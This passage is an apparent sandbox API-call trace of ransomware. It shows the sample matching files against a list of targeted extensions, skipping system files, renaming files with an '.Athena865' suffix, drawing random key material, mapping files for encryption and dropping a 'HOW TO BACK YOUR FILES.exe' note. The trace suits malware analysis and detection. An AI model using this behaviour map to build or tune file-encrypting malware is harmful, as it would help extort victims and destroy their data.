lstrlenW (lpString="oqy") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0053.133] lstrlenW (lpString="ora") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0053.133] lstrlenW (lpString="orx") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0053.133] lstrlenW (lpString="owc") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0053.133] lstrlenW (lpString="p96") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0053.133] lstrlenW (lpString="p97") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0053.133] lstrlenW (lpString="pan") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0053.133] lstrlenW (lpString="pdb") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0053.133] lstrlenW (lpString="pdm") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0053.133] lstrlenW (lpString="pnz") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0053.133] lstrlenW (lpString="qry") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0053.133] lstrlenW (lpString="qvd") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0053.133] lstrlenW (lpString="rbf") returned 3 [0053.133] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0053.134] lstrlenW (lpString="rctd") returned 4 [0053.134] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0053.134] lstrlenW (lpString="rod") returned 3 [0053.134] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0053.134] lstrlenW (lpString="rodx") returned 4 [0053.134] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0053.134] lstrlenW (lpString="rpd") returned 3 [0053.134] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0053.134] lstrlenW (lpString="rsd") returned 3 [0053.134] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0053.134] lstrlenW (lpString="sas7bdat") returned 8 [0053.134] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0053.134] lstrlenW (lpString="sbf") returned 3 [0053.134] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0053.134] lstrlenW (lpString="scx") returned 3 [0053.134] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0053.134] lstrlenW (lpString="sdb") returned 3 [0053.134] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0053.134] lstrlenW (lpString="sdc") returned 3 [0053.134] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0053.134] lstrlenW (lpString="sdf") returned 3 [0053.134] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0053.134] lstrlenW (lpString="sis") returned 3 [0053.134] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0053.134] lstrlenW (lpString="spq") returned 3 [0053.134] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0053.134] lstrlenW (lpString="te") returned 2 [0053.134] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0053.134] lstrlenW (lpString="teacher") returned 7 [0053.134] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0053.134] lstrlenW (lpString="tmd") returned 3 [0053.134] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0053.134] lstrlenW (lpString="tps") returned 3 [0053.134] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0053.135] lstrlenW (lpString="trc") returned 3 [0053.135] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.135] lstrlenW (lpString="trc") returned 3 [0053.135] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.135] lstrlenW (lpString="trm") returned 3 [0053.135] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0053.135] lstrlenW (lpString="udb") returned 3 [0053.135] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0053.135] lstrlenW (lpString="udl") returned 3 [0053.135] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0053.135] lstrlenW (lpString="usr") returned 3 [0053.135] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0053.135] lstrlenW (lpString="v12") returned 3 [0053.135] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0053.135] lstrlenW (lpString="vis") returned 3 [0053.135] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0053.135] lstrlenW (lpString="vpd") returned 3 [0053.135] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0053.135] lstrlenW (lpString="vvv") returned 3 [0053.135] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0053.135] lstrlenW (lpString="wdb") returned 3 [0053.135] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0053.135] lstrlenW (lpString="wmdb") returned 4 [0053.135] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0053.135] lstrlenW (lpString="wrk") returned 3 [0053.135] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0053.135] lstrlenW (lpString="xdb") returned 3 [0053.135] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0053.135] lstrlenW (lpString="xld") returned 3 [0053.135] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0053.135] lstrlenW (lpString="xmlff") returned 5 [0053.136] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0053.136] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini.Athena865") returned 80 [0053.136] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\saved games\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\saved games\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.138] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\saved games\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.138] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=282) returned 1 [0053.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.141] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.142] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.142] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.142] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x420, lpName=0x0) returned 0x154 [0053.143] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x420) returned 0x100000 [0053.143] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.143] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.144] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0053.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.144] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.144] CloseHandle (hObject=0x154) returned 1 [0053.144] CloseHandle (hObject=0x17c) returned 1 [0053.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.145] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcef6180, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.145] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.145] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcef6180, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0053.145] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.145] ReleaseMutex (hMutex=0xec) returned 1 [0053.145] CloseHandle (hObject=0xec) returned 1 [0053.145] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches" [0053.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c888 | out: hHeap=0x4f0000) returned 1 [0053.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c590 | out: hHeap=0x4f0000) returned 1 [0053.146] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches") returned 55 [0053.146] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\212F8EFC9710F50335788B77B7A89C9C") returned 0xec [0053.146] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.146] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches" [0053.146] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.146] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\searches\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.146] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\searches\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.146] GetLastError () returned 0x0 [0053.146] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.146] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.147] CloseHandle (hObject=0xf4) returned 1 [0053.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.147] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.147] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcef6180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.148] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.148] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.148] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.148] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcef6180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.148] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.148] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.148] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.148] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.148] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.148] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.148] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.148] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.148] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.148] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0053.148] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0053.148] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0053.148] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0053.148] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0053.148] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0053.148] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0053.148] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0053.148] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0053.148] lstrlenW (lpString="desktop.ini") returned 11 [0053.148] lstrcpyW (in: lpString1=0x241e8b8, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0053.148] lstrlenW (lpString="desktop.ini") returned 11 [0053.148] lstrlenW (lpString="Athena865") returned 9 [0053.148] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.148] lstrlenW (lpString=".dll") returned 4 [0053.148] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0053.148] lstrlenW (lpString=".lnk") returned 4 [0053.148] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0053.148] lstrlenW (lpString=".ini") returned 4 [0053.149] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0053.149] lstrlenW (lpString=".sys") returned 4 [0053.149] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0053.149] lstrlenW (lpString="desktop.ini") returned 11 [0053.149] lstrlenW (lpString="bak") returned 3 [0053.149] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0053.149] lstrlenW (lpString="ba_") returned 3 [0053.149] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0053.149] lstrlenW (lpString="dbb") returned 3 [0053.149] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0053.149] lstrlenW (lpString="vmdk") returned 4 [0053.149] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0053.149] lstrlenW (lpString="rar") returned 3 [0053.149] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0053.149] lstrlenW (lpString="zip") returned 3 [0053.149] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0053.149] lstrlenW (lpString="tgz") returned 3 [0053.149] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0053.149] lstrlenW (lpString="vbox") returned 4 [0053.149] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0053.149] lstrlenW (lpString="vdi") returned 3 [0053.149] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0053.149] lstrlenW (lpString="vhd") returned 3 [0053.149] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0053.149] lstrlenW (lpString="vhdx") returned 4 [0053.149] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0053.149] lstrlenW (lpString="avhd") returned 4 [0053.149] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0053.149] lstrlenW (lpString="db") returned 2 [0053.149] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0053.149] lstrlenW (lpString="db2") returned 3 [0053.149] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0053.149] lstrlenW (lpString="db3") returned 3 [0053.149] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0053.149] lstrlenW (lpString="dbf") returned 3 [0053.149] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0053.150] lstrlenW (lpString="mdf") returned 3 [0053.150] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0053.150] lstrlenW (lpString="mdb") returned 3 [0053.150] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0053.150] lstrlenW (lpString="sql") returned 3 [0053.150] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0053.150] lstrlenW (lpString="sqlite") returned 6 [0053.150] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0053.150] lstrlenW (lpString="sqlite3") returned 7 [0053.150] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0053.150] lstrlenW (lpString="sqlitedb") returned 8 [0053.150] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0053.150] lstrlenW (lpString="xml") returned 3 [0053.150] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0053.150] lstrlenW (lpString="$er") returned 3 [0053.150] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0053.150] lstrlenW (lpString="4dd") returned 3 [0053.150] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0053.150] lstrlenW (lpString="4dl") returned 3 [0053.150] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0053.150] lstrlenW (lpString="^^^") returned 3 [0053.150] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0053.150] lstrlenW (lpString="abs") returned 3 [0053.150] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0053.150] lstrlenW (lpString="abx") returned 3 [0053.150] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0053.150] lstrlenW (lpString="accdb") returned 5 [0053.150] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0053.150] lstrlenW (lpString="accdc") returned 5 [0053.150] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0053.150] lstrlenW (lpString="accde") returned 5 [0053.150] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0053.150] lstrlenW (lpString="accdr") returned 5 [0053.150] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0053.150] lstrlenW (lpString="accdt") returned 5 [0053.151] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0053.151] lstrlenW (lpString="accdw") returned 5 [0053.151] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0053.151] lstrlenW (lpString="accft") returned 5 [0053.151] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0053.151] lstrlenW (lpString="adb") returned 3 [0053.151] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.151] lstrlenW (lpString="adb") returned 3 [0053.151] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.151] lstrlenW (lpString="ade") returned 3 [0053.151] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0053.151] lstrlenW (lpString="adf") returned 3 [0053.151] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0053.151] lstrlenW (lpString="adn") returned 3 [0053.151] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0053.151] lstrlenW (lpString="adp") returned 3 [0053.151] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0053.151] lstrlenW (lpString="alf") returned 3 [0053.151] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0053.151] lstrlenW (lpString="ask") returned 3 [0053.151] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0053.151] lstrlenW (lpString="btr") returned 3 [0053.151] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0053.151] lstrlenW (lpString="cat") returned 3 [0053.151] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0053.151] lstrlenW (lpString="cdb") returned 3 [0053.151] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0053.151] lstrlenW (lpString="ckp") returned 3 [0053.151] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0053.151] lstrlenW (lpString="cma") returned 3 [0053.151] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0053.151] lstrlenW (lpString="cpd") returned 3 [0053.151] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0053.152] lstrlenW (lpString="dacpac") returned 6 [0053.152] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0053.152] lstrlenW (lpString="dad") returned 3 [0053.152] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0053.152] lstrlenW (lpString="dadiagrams") returned 10 [0053.152] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0053.152] lstrlenW (lpString="daschema") returned 8 [0053.152] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0053.152] lstrlenW (lpString="db-journal") returned 10 [0053.152] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0053.152] lstrlenW (lpString="db-shm") returned 6 [0053.152] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0053.152] lstrlenW (lpString="db-wal") returned 6 [0053.152] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0053.152] lstrlenW (lpString="dbc") returned 3 [0053.152] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0053.152] lstrlenW (lpString="dbs") returned 3 [0053.152] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0053.152] lstrlenW (lpString="dbt") returned 3 [0053.152] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0053.152] lstrlenW (lpString="dbv") returned 3 [0053.152] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0053.152] lstrlenW (lpString="dbx") returned 3 [0053.152] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0053.152] lstrlenW (lpString="dcb") returned 3 [0053.152] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0053.152] lstrlenW (lpString="dct") returned 3 [0053.152] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0053.152] lstrlenW (lpString="dcx") returned 3 [0053.152] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0053.152] lstrlenW (lpString="ddl") returned 3 [0053.152] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0053.152] lstrlenW (lpString="dlis") returned 4 [0053.152] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0053.153] lstrlenW (lpString="dp1") returned 3 [0053.153] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0053.153] lstrlenW (lpString="dqy") returned 3 [0053.153] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0053.153] lstrlenW (lpString="dsk") returned 3 [0053.153] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0053.153] lstrlenW (lpString="dsn") returned 3 [0053.153] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0053.153] lstrlenW (lpString="dtsx") returned 4 [0053.153] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0053.153] lstrlenW (lpString="dxl") returned 3 [0053.153] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0053.153] lstrlenW (lpString="eco") returned 3 [0053.153] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0053.153] lstrlenW (lpString="ecx") returned 3 [0053.153] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0053.153] lstrlenW (lpString="edb") returned 3 [0053.153] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0053.153] lstrlenW (lpString="epim") returned 4 [0053.153] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0053.153] lstrlenW (lpString="fcd") returned 3 [0053.153] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0053.153] lstrlenW (lpString="fdb") returned 3 [0053.153] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0053.153] lstrlenW (lpString="fic") returned 3 [0053.153] lstrcmpiW (lpString1="ini", 